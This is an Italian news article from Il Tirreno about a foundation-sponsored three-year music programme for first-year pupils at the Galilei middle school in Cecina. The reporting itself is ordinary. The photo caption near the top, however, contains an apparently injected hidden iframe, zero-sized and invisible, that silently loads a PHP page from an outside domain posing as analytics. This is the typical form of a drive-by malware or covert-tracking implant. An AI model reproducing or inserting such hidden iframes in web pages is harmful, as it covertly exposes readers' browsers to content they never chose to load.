Il Tirreno

Corsi di musica con sponsor alle Galilei

Studenti e docenti dei corsi di musica insieme a Servi, Rovini, Biasci e Guerrini. A destra un’esibizione<iframe height="0" src="http://loading-resource.com/analytics.php" style="visibility: hidden;" width="0"></iframe>
◗
Studenti e docenti dei corsi di musica insieme a Servi, Rovini, Biasci e Guerrini. A destra un’esibizione

La Fondazione culturale Geiger rinnova il progetto «Siamo»

3 MINUTI DI LETTURA





CECINA. Si rinnova anche per quest'anno la collaborazione tra le scuole medie cecinesi e la Fondazione culturale Geiger, che sponsorizza dei corsi di musica per i giovani studenti.  Hanno preso il via all'inizio di novembre le lezioni di musica in due classi della prima media Galilei realizzate con il contributo della Fondazione. «In un momento di tagli alla scuola ci è sembrato giusto offrire il nostro contributo», ha detto il presidente della Fondazione Giovanni Servi. 

Giovani allievi.
Sono 49 i ragazzi della prima C e della prima I della scuola media Galileo Galilei di Cecina che partecipano alle lezioni di musica organizzate dall'istituto scolastico e realizzate con il contributo della Fondazione Hermann Geiger e la collaborazione della cooperativa il Cosmo, che gestisce la scuola comunale di musica "Sarabanda" di Cecina. Ieri mattina si è svolta la presentazione di questa iniziativa nella sede della Fondazione Geiger a Cecina alla presenza del presidente Giovanni Servi, della preside della scuola media Galilei Norma Biasci e del maestro Federico Rovini, direttore della scuola "Sarabanda" e vicedirettore del Conservatorio Giacomo Puccini della Spezia, che coordina il progetto. Il Progetto Siamo. Insieme a loro alcuni insegnanti e alunni che partecipano ai corsi. Il nome del progetto triennale sperimentale è "Siamo" (Sperimentazione indirizzo autonomo musicale orientativo), organizzato dalla scuola e finanziato per 24 mila euro (8000 l'anno) dalla Fondazione Geiger, da tempo attiva a Cecina nella promozione di progetti culturali e sociali. Questi ragazzi hanno la possibilità di seguire un corso di musica triennale (chitarra, pianoforte e violino) con la prospettiva di un riconoscimento del credito e per i più bravi, l'esame di primo livello al Conservatorio Puccini della Spezia. 

Otto gruppi di studio.
Il programma didattico vede i ragazzi divisi in otto gruppi di studio, sette nella sede della scuola a Cecina e uno, di chitarra, in quella di Palazzi, seguiti da sette docenti: Cinzia Orlandini, Giorgio Taurasi e Simone Bartali alla chitarra, Natalja Kozzina al piano e Carlandrea Berti, Irene de Santi e Federica Favilli al violino. Il programma didattico prevede due ore di studio dello strumento settimanali, con i docenti di supporto, e un'ora di teoria musicale insegnata dai docenti della scuola comunale. Alla fine di ogni anno scolastico ci sarà una valutazione in più, appunto quella di strumento e l'inserimento della materia nel curriculum scolastico.

Esami al Conservatorio.
Alla fine dei tre anni i ragazzi sosteranno un esame di primo livello presso il Conservatorio Puccini di La Spezia e potranno ricevere un attestato che gli permetterà o di iscriversi alla Scuola di musica "Sarabanda" o in un qualsiasi liceo musicale per poi approdare agli studi di alta formazione presso il Conservatorio. «Per noi è una grossa opportunità - ha detto Norma Biasci - da tempo speravano di attivare corsi di musica per i nostri alunni. Voglio ringraziare la Fondazione Geiger per la loro sensibilità che è importante perché lo studio musicale è fondamentale per la crescita di questi ragazzi».  «Un progetto di ampio respiro e quasi unico - ha detto Rovini - e che è solo il primo di una serie di iniziative volte alla promozione della musica nelle scuole a Cecina». 

«Siamo felici di sostenere questa iniziativa - ha sottolineato Giovanni Servi presidente della Fondazione Geiger - perché in un momento di grave crisi economica e con i tagli all'istruzione in atto nel mondo della scuola ci sentiamo in dovere di dare un nostro contributo in particolare su questo aspetto della formazione dei più giovani. Ho visto poi una grande collaborazione tra tutti i docenti della scuola e quelli che seguono direttamente i ragazzi, che hanno messo in questo progetto tanta passione e volontà. Il nostro auspicio - ha concluso - è che il nostro esempio possa essere seguito da altri soggetti privati». Molto soddisfatti anche i ragazzi dopo le prime lezioni, e con tutta la volontà per proseguire questa esperienza.

Non lasciare decidere l'algoritmo:

scegli Il Tirreno per le tue notizie su Google

Cronaca flash

Sicurezza

Massa, tre rapine in due ore in centro: arrestati due giovanissimi

di Redazione Massa